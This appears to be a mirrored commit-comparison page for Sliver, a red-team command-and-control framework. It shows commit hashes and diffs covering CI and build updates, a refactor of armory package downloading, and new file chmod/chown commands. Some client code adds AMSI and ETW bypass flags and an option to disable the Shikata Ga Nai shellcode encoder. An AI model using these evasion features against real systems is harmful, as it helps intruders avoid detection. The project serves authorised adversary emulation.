mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
147
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d09c60089f | ||
|
|
a97d7caf55 | ||
|
|
7d95856858 | ||
|
|
2bfcaf14f3 | ||
|
|
6e0cbbcee3 | ||
|
|
feacb9e74b | ||
|
|
963b3c36da | ||
|
|
d344e357af | ||
|
|
a45c99651d | ||
|
|
0e5d055f37 | ||
|
|
88f5d55e92 | ||
|
|
03d93b95ba | ||
|
|
8fd94879a4 | ||
|
|
19b4b0b0c8 | ||
|
|
0e7a29db1b | ||
|
|
05a31d9d42 | ||
|
|
796a0dbde1 | ||
|
|
6aeab60d62 | ||
|
|
99c76c2da0 | ||
|
|
749f71d226 | ||
|
|
3d7227ea2f | ||
|
|
329730120d | ||
|
|
c6a29ea76a | ||
|
|
c40f59bc39 | ||
|
|
b0e0df1cb5 | ||
|
|
2ece520fdc | ||
|
|
01017460e8 | ||
|
|
f1613bbad9 | ||
|
|
657d21e2ea | ||
|
|
9f64ef1486 | ||
|
|
918d729dc5 | ||
|
|
c506020570 | ||
|
|
9d7d1b76fc | ||
|
|
3f5c434c26 | ||
|
|
aa8e01e365 | ||
|
|
8b84197d1a | ||
|
|
cdd2a33aec | ||
|
|
c6e65e6b69 | ||
|
|
8291364aad | ||
|
|
dff24ae31b | ||
|
|
a3ea33bcdb | ||
|
|
dcb1fc3cf3 | ||
|
|
3f721f2591 | ||
|
|
99914e4092 | ||
|
|
4068fafdb9 | ||
|
|
ccc6066b79 | ||
|
|
c53e617fec | ||
|
|
200a1a9942 | ||
|
|
564aeec91f | ||
|
|
115f47a7b4 | ||
|
|
bde3cd6e87 | ||
|
|
e6d9740410 | ||
|
|
6240be3a4b | ||
|
|
3a8017e7dd | ||
|
|
1f76a3f4f3 | ||
|
|
5ab52bca05 | ||
|
|
dfcbdf7e07 | ||
|
|
2dc1b69c92 | ||
|
|
69058fe492 | ||
|
|
9f811f8da0 | ||
|
|
9585b430a5 | ||
|
|
efaffb1999 | ||
|
|
2f1f81cc0f | ||
|
|
94d8b9fc8a | ||
|
|
1756fdfb62 | ||
|
|
12e6f9a73d | ||
|
|
b0a917ce41 | ||
|
|
e3a2ff81ab | ||
|
|
71f94928bf | ||
|
|
93a0c15906 | ||
|
|
83c153d189 | ||
|
|
524d58454c | ||
|
|
0530018ea4 | ||
|
|
617a39227c | ||
|
|
81f701ca21 | ||
|
|
163b1cbcad | ||
|
|
38206c0cb7 | ||
|
|
5d3247d658 | ||
|
|
ba699679c9 | ||
|
|
d1ef51ed49 | ||
|
|
03ba0ea9e7 | ||
|
|
42a4e93aae | ||
|
|
81ec6398b8 | ||
|
|
5da01d9278 | ||
|
|
bc9bba5d39 | ||
|
|
89f029f55b | ||
|
|
64a31ee3b0 | ||
|
|
9c44890db7 | ||
|
|
50103d7ae9 | ||
|
|
448c9a8c35 | ||
|
|
52e296fed4 | ||
|
|
975d37f169 | ||
|
|
94a4be6254 | ||
|
|
988282cd40 | ||
|
|
dc687055a4 | ||
|
|
1ddeeb8554 | ||
|
|
8369b03112 | ||
|
|
e44bb1a4f1 | ||
|
|
bca8c13f20 | ||
|
|
a8a5368060 | ||
|
|
cfaa892ae5 | ||
|
|
cf4a8da802 | ||
|
|
b0b4751267 | ||
|
|
d2a6fa8cd6 | ||
|
|
ad7310dc68 | ||
|
|
e914850a13 | ||
|
|
56e368ccb0 | ||
|
|
4e43f2d0d3 | ||
|
|
cb3fc2923f | ||
|
|
204519b18f | ||
|
|
e6a974495a | ||
|
|
4c172b7d8f | ||
|
|
6f76dfa674 | ||
|
|
e47516c988 | ||
|
|
1a2388aadc | ||
|
|
d8668e7d4e | ||
|
|
f21669bb45 | ||
|
|
8175819f52 | ||
|
|
d0cfd655ca | ||
|
|
cc7d5f8a82 | ||
|
|
6efd53950b | ||
|
|
041ae65c61 | ||
|
|
286c9dc3f2 | ||
|
|
6b3d95a0b4 | ||
|
|
9f73e636b4 | ||
|
|
4a8cc9386f | ||
|
|
25f7ac019f | ||
|
|
19c2533d90 | ||
|
|
fa94d98d68 | ||
|
|
1469482631 | ||
|
|
7eb77b07fa | ||
|
|
5184aa8761 | ||
|
|
92df0e4a20 | ||
|
|
e905032169 | ||
|
|
973b5bb8aa | ||
|
|
f4b4610e28 | ||
|
|
9c0a97fc3a | ||
|
|
571a601b00 | ||
|
|
422d4914b8 | ||
|
|
a5532e15fe | ||
|
|
72c1de84a8 | ||
|
|
d935a038b0 | ||
|
|
be6cfc9db4 | ||
|
|
79ff35429d | ||
|
|
de2d78158f | ||
|
|
19c6e79951 | ||
|
|
81d8b39db7 |
No files matched your search
@@ -12,10 +12,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.19"
|
||||
go-version: "1.20.2"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -62,10 +62,10 @@ jobs:
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
go-version: "1.20.2"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -16,10 +16,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.19"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
|
||||
@@ -15,10 +15,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.19"
|
||||
go-version: "1.20.2"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -49,10 +49,10 @@ jobs:
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.19"
|
||||
go-version: "1.20.2"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.19.3
|
||||
FROM golang:1.20.2
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,7 +6,7 @@ FROM golang:1.19.3
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 3.19.4
|
||||
ENV PROTOC_VER 21.12
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
TAGS ?= -tags osusergo,netgo,wasm_sqlite
|
||||
|
||||
|
||||
#
|
||||
@@ -63,17 +63,6 @@ STATIC_TARGET := linux
|
||||
UNAME_S := $(shell uname -s)
|
||||
UNAME_P := $(shell uname -p)
|
||||
|
||||
# If the target is Windows from Linux/Darwin, check for mingw
|
||||
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
|
||||
ifneq (,$(findstring cgosqlite,$(TAGS)))
|
||||
ENV +=CGO_ENABLED=1
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
|
||||
# Programs required for generating protobuf/grpc files
|
||||
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
|
||||
ifeq ($(MAKECMDGOALS), pb)
|
||||
@@ -108,12 +97,6 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux-arm64)
|
||||
# Redefine TAGS/ENV to use pure go sqlite3
|
||||
TAGS = -tags osusergo,netgo,gosqlite
|
||||
ENV = CGO_ENABLED=0
|
||||
endif
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
@@ -144,8 +127,8 @@ linux-arm64: clean .downloaded_assets validate-go-version
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean .downloaded_assets validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
GOOS=windows GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
|
||||
@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
[](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
### Features
|
||||
|
||||
|
||||
@@ -289,9 +289,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
// if the flag is not registered.
|
||||
if aliasManifest.IsAssembly {
|
||||
if !ctx.Flags.Bool("in-process") {
|
||||
inProcess := ctx.Flags.Bool("in-process")
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
if !inProcess {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
|
||||
}
|
||||
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
|
||||
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
|
||||
return
|
||||
}
|
||||
} else if !aliasManifest.IsReflective {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
|
||||
}
|
||||
|
||||
@@ -484,7 +484,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
|
||||
|
||||
var sig *minisign.Signature
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
}
|
||||
|
||||
@@ -143,7 +143,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
@@ -261,7 +261,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
|
||||
@@ -40,7 +40,7 @@ import (
|
||||
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
|
||||
|
||||
// ArmoryPackageParser - Generic interface to fetch armory package manifests
|
||||
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
@@ -79,28 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
@@ -125,9 +104,8 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, errors.New("index has invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
armoryIndex := &ArmoryIndex{
|
||||
ArmoryConfig: armoryConfig,
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
@@ -144,25 +122,7 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -187,18 +147,10 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
|
||||
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
|
||||
return nil, nil, errors.New("invalid url scheme")
|
||||
}
|
||||
resp, err := client.Get(tarGzURL.String())
|
||||
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
}
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
@@ -239,13 +191,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -253,7 +199,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
@@ -270,23 +216,13 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
var sigData []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == armoryIndexFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
armoryIndexData, err = ioutil.ReadAll(resp.Body)
|
||||
armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if asset.Name == armoryIndexSigFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
sigData, err = ioutil.ReadAll(resp.Body)
|
||||
sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -299,7 +235,9 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
armoryIndex := &ArmoryIndex{
|
||||
ArmoryConfig: armoryConfig,
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -308,20 +246,14 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
}
|
||||
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -329,7 +261,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
@@ -343,14 +275,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
var tarGz []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(resp.Body)
|
||||
body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
@@ -360,13 +285,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
}
|
||||
}
|
||||
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
@@ -380,31 +299,27 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
|
||||
// Setup dummy auth here as the non-api endpoints don't support the Authorization header
|
||||
noAuth := &assets.ArmoryConfig{
|
||||
Authorization: "",
|
||||
}
|
||||
body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
@@ -417,18 +332,10 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
@@ -498,3 +405,40 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
|
||||
client := httpClient(clientConfig)
|
||||
req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
if len(extraHeaders) > 0 {
|
||||
for key := range extraHeaders {
|
||||
req.Header.Add(key, strings.Join(extraHeaders[key], ","))
|
||||
}
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
return resp, body, err
|
||||
}
|
||||
|
||||
func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
|
||||
downloadHdr := http.Header{
|
||||
"Accept": {"application/octet-stream"},
|
||||
}
|
||||
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
|
||||
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
|
||||
return nil, fmt.Errorf("Error downloading asset: http %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
return body, err
|
||||
}
|
||||
@@ -57,7 +57,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func waitForInput() <-chan bool {
|
||||
done := make(chan bool)
|
||||
done := make(chan bool, 1)
|
||||
go func() {
|
||||
defer close(done)
|
||||
fmt.Scanf("\n")
|
||||
|
||||
@@ -1512,6 +1512,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -2142,6 +2143,70 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ChmodStr,
|
||||
Help: "Change permissions on a file or directory",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ChmodStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("r", "recursive", false, "recursively change permissions on files")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the file to remove")
|
||||
a.String("mode", "file permissions in octal, e.g. 0644")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.ChmodCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ChownStr,
|
||||
Help: "Change owner on a file or directory",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ChownStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("r", "recursive", false, "recursively change permissions on files")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
